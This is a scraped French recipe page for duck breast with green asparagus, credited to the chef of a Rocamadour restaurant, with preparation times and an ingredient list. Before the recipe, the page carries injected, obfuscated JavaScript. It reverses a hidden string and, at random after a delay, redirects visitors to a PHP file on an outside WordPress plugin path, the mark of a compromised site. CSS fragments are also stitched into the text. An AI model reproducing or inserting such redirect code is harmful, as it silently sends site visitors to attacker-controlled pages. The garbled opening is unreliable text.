) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558806458823{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Christoffer BOOT, chef du restaurant « LE BELVEDERE » à Rocamadour – http://www.hotel-le-belvedere.fr
et membre des « Bonnes Tables du Lot »

Recette
Temps de préparation : 10 min

Temps de cuisson : 10 min

Ingrédient :
– Magret de canard
– Asperges vertes
– Vinaigre Balsamique
– Piment d’Espelette
– Parmesan
– Echalote
– Salade Mesclin
– Huile d’Olive
– Jus de citron jaune
– Sel & Poivre